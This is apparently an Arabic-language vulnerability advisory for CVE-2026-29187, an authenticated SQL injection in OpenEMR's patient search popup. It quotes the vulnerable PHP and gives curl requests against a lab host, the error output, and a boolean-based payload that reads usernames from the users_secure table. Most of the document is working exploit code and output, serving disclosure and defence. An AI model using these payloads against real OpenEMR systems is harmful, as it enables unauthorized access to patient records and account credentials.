
CVE-2026-29187: ثغرة حقن SQL في OpenEMR <8.0.0.3
الضعف CWE-89
التحييد غير الصحيح للعناصر الخاصة المستخدمة في أمر SQL ('حقن SQL') يقوم المنتج ببناء كل أو جزء من أمر SQL باستخدام مدخلات متأثرة خارجيًا من مكوّن علوي (upstream)، لكنه لا يحيد أو يحيد بشكل غير صحيح العناصر الخاصة التي قد تعدل أمر SQL المقصود عند إرساله إلى مكوّن سفلي (downstream). دون إزالة كافية أو وضع علامات اقتباس لبناء جملة SQL في المدخلات التي يتحكم فيها المستخدم، يمكن أن يتسبب استعلام SQL الناتج في تفسير هذه المدخلات على أنها SQL بدلاً من بيانات المستخدم العادية. اعرف المزيد على MITRE.
يحتوي OpenEMR <8.0.0.3 على ثغرة حقن SQL في نافذة البحث الجديدة يمكن استغلالها من قبل المهاجمين الموثقين. توجد الثغرة بسبب عدم كفاية التحقق من صحة المدخلات في وظيفة نافذة البحث الجديدة.
تحدث الثغرة في وظيفة نافذة البحث الجديدة حيث يتم دمج مدخلات المستخدم في عمود select relevance وشرط where مباشرةً في استعلامات SQL دون تعقيم مناسب. وهذا يسمح للمهاجمين بحقن كود SQL خبيث.
تؤثر الثغرة على الأسطر التالية:
interface/new/new_search_popup.php السطر 141interface/new/new_search_popup.php السطر 134 و136interface/new/new_search_popup.php السطر 125 و128 foreach ($_REQUEST as $key => $value) {
if (!str_starts_with((string) $key, 'mf_')) {
continue; // "match field"
}
$fldname = substr((string) $key, 3);
// pubpid requires special treatment. Match on that is fatal.
if ($fldname == 'pubpid') {
$relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
} else {
$relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
array_push($sqlBindArray, $value);
}
$where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
array_push($sqlBindArraySpecial, $value);
echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
++$numfields;
}
$sql = "SELECT *, ( $relevance ) AS relevance, " .
"DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
"FROM patient_data WHERE $where " .
"ORDER BY relevance DESC, lname, fname, mname " .
"LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";
$sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
$rez = sqlStatement($sql, $sqlBindArray);
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />
<link rel="stylesheet" href="/public/themes/style_light.css?v=81" />
<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>
<style>
form {
padding: 0;
margin: 0;
}
#searchCriteria {
text-align: center;
width: 100%;
font-size: 0.8rem;
background-color: var(--gray300);
font-weight: bold;
padding: 3px;
}
#searchResultsHeader th {
font-size: 0.7rem;
}
#searchResults {
width: 100%;
height: 80%;
overflow: auto;
}
#searchResults table {
width: 100%;
border-collapse: collapse;
background-color: var(--white);
}
#searchResults tr {
cursor: pointer;
}
#searchResults td {
font-size: 0.7rem;
border-bottom: 1px solid var(--gray200);
}
.topResult {
background-color: #ff9919;
}
.billing {
color: var(--danger);
font-weight: bold;
}
.highlight {
background-color: var(--info);
color: var(--white);
}
</style>
</head>
<body class="body_top">
<form method='post' action='new_search_popup.php' name='theform'>
<input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
<input type='hidden' name='fstart' value='0' />
<input type='hidden' name='mf_"' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'
┌──(kali㉿kali)-[~]
└─$
توجد تقنيات متعددة لاستغلالها؛ إحداها هجوم قائم على القيم المنطقية (boolean-based)، والذي يعمل باستخدام الحمولة الأخيرة:
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100